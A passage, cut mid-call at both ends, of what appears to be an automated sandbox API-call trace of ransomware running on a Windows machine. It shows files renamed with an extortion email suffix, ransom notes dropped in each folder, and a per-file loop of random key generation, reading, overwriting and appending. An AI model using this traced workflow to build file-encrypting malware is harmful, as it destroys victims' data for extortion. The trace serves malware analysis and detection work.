RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5cc0) returned 1 [0177.513] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2fa6988 [0177.514] wcscpy (in: _Dest=0x2fa6988, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0177.514] wcscat (in: _Dest=0x2fa6988, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0177.514] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0x20 [0177.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6988) returned 1 [0177.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84b18) returned 1 [0177.514] RtlExitUserThread (Status=0x1) Thread: id = 2651 os_tid = 0x130c [0177.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x3055998 [0177.699] wcscpy (in: _Dest=0x3055998, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.699] wcscat (in: _Dest=0x3055998, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.699] wcscat (in: _Dest=0x3055998, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*" [0177.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021648 [0177.699] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*", lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805a0 [0177.703] wcscmp (_String1=".", _String2=".") returned 0 [0177.703] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.703] wcscmp (_String1="..", _String2=".") returned 1 [0177.703] wcscmp (_String1="..", _String2="..") returned 0 [0177.704] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc18f40, ftCreationTime.dwHighDateTime=0x1d4cd9b, ftLastAccessTime.dwLowDateTime=0x84d970c0, ftLastAccessTime.dwHighDateTime=0x1d4c818, ftLastWriteTime.dwLowDateTime=0x8b97bb31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="8KVJ0A~1.D0E")) returned 1 [0177.704] wcscmp (_String1="8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.704] wcscmp (_String1="8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc43a0 [0177.704] wcscpy (in: _Dest=0x2fc43a0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.704] wcscat (in: _Dest=0x2fc43a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.704] wcscat (in: _Dest=0x2fc43a0, _Source="8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" [0177.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc43a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0177.904] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4a8c31, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4cecac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0177.904] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0177.904] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0177.904] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee16680, ftCreationTime.dwHighDateTime=0x1d4ca33, ftLastAccessTime.dwLowDateTime=0x8d384090, ftLastAccessTime.dwHighDateTime=0x1d4cb3b, ftLastWriteTime.dwLowDateTime=0x8b9a1d91, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18204, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EQSERD~1.D0E")) returned 1 [0177.904] wcscmp (_String1="EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.904] wcscmp (_String1="EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d488 [0177.904] wcscpy (in: _Dest=0x2f6d488, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.904] wcscat (in: _Dest=0x2f6d488, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.904] wcscat (in: _Dest=0x2f6d488, _Source="EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" [0177.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0177.905] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0dd3c80, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0x11edcb10, ftLastAccessTime.dwHighDateTime=0x1d4cc00, ftLastWriteTime.dwLowDateTime=0x8b9c7fa9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17562, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PNZQGM~1.D0E")) returned 1 [0177.905] wcscmp (_String1="PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.905] wcscmp (_String1="PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.905] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85f18 [0177.905] wcscpy (in: _Dest=0x2f85f18, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.905] wcscat (in: _Dest=0x2f85f18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.905] wcscat (in: _Dest=0x2f85f18, _Source="PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" [0177.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0177.906] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287ba110, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x80e17e10, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x8b9ee20c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x894d, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlbuL.ods.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QLBULO~1.D0E")) returned 1 [0177.906] wcscmp (_String1="qlbuL.ods.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.906] wcscmp (_String1="qlbuL.ods.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4490 [0177.906] wcscpy (in: _Dest=0x2fc4490, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.906] wcscat (in: _Dest=0x2fc4490, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.906] wcscat (in: _Dest=0x2fc4490, _Source="qlbuL.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" [0177.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0177.906] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf9630, ftCreationTime.dwHighDateTime=0x1d4c98d, ftLastAccessTime.dwLowDateTime=0x82cce1c0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x8ba14590, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8089, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SEOZXC~1.D0E")) returned 1 [0177.906] wcscmp (_String1="SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.906] wcscmp (_String1="SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x3054b10 [0177.907] wcscpy (in: _Dest=0x3054b10, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.907] wcscat (in: _Dest=0x3054b10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0177.907] wcscat (in: _Dest=0x3054b10, _Source="SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" [0177.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0177.907] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf9630, ftCreationTime.dwHighDateTime=0x1d4c98d, ftLastAccessTime.dwLowDateTime=0x82cce1c0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x8ba14590, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8089, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SEOZXC~1.D0E")) returned 0 [0177.907] FindClose (in: hFindFile=0x2f805a0 | out: hFindFile=0x2f805a0) returned 1 [0177.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021648) returned 1 [0177.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055998) returned 1 [0177.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f954b8) returned 1 [0177.908] RtlExitUserThread (Status=0x0) Thread: id = 2652 os_tid = 0x1310 [0177.704] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.704] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.705] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x29d7ff0c | out: lpFileSize=0x29d7ff0c*=65102) returned 1 [0177.705] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfe4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.705] ReadFile (in: hFile=0x370, lpBuffer=0x29d7fee0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x29d7fee0*, lpNumberOfBytesRead=0x29d7fedc*=0x4, lpOverlapped=0x0) returned 1 [0177.706] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95008 [0177.706] NtQuerySystemTime (in: CurrentTime=0x29d7feb8 | out: CurrentTime=0x29d7feb8*=132121213350155432) returned 0x0 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x227f3b28 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x234990b0 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xa1645627 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x9581f7ff [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xf6f5711c [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x4da39741 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xac6e5179 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x3f7d2786 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x201bdc83 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xe8becf62 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x8b72a1ae [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xba1ff4a4 [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x9f0362fe [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xe0acf45f [0177.706] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xc2c6a38a [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x8633bb58 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xc7471028 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x97457f4b [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x66b4b9d2 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xda436910 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xa75e811f [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x2d6f4c09 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x8f006175 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x66c25bb0 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xb75afbdf [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x59d04181 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x8c67c891 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xbb166e24 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xe40ffb4d [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x59b70152 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0xa8065344 [0177.707] RtlRandom (in: Seed=0x29d7fec4 | out: Seed=0x29d7fec4) returned 0x67239ebe [0177.718] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.718] ReadFile (in: hFile=0x370, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29d7fe90, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29d7fe90*=0x4096, lpOverlapped=0x0) returned 1 [0177.732] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87278 [0177.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88af0 [0177.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3058460 [0177.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88af0) returned 1 [0177.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0177.733] WriteFile (in: hFile=0x370, lpBuffer=0x3058460*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29d7fe90, lpOverlapped=0x0 | out: lpBuffer=0x3058460*, lpNumberOfBytesWritten=0x29d7fe90*=0x4096, lpOverlapped=0x0) returned 1 [0177.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058460) returned 1 [0177.733] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfe4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.733] WriteFile (in: hFile=0x370, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29d7fec8, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x29d7fec8*=0x20, lpOverlapped=0x0) returned 1 [0177.734] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.734] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.734] WriteFile (in: hFile=0x370, lpBuffer=0x2f95058*, 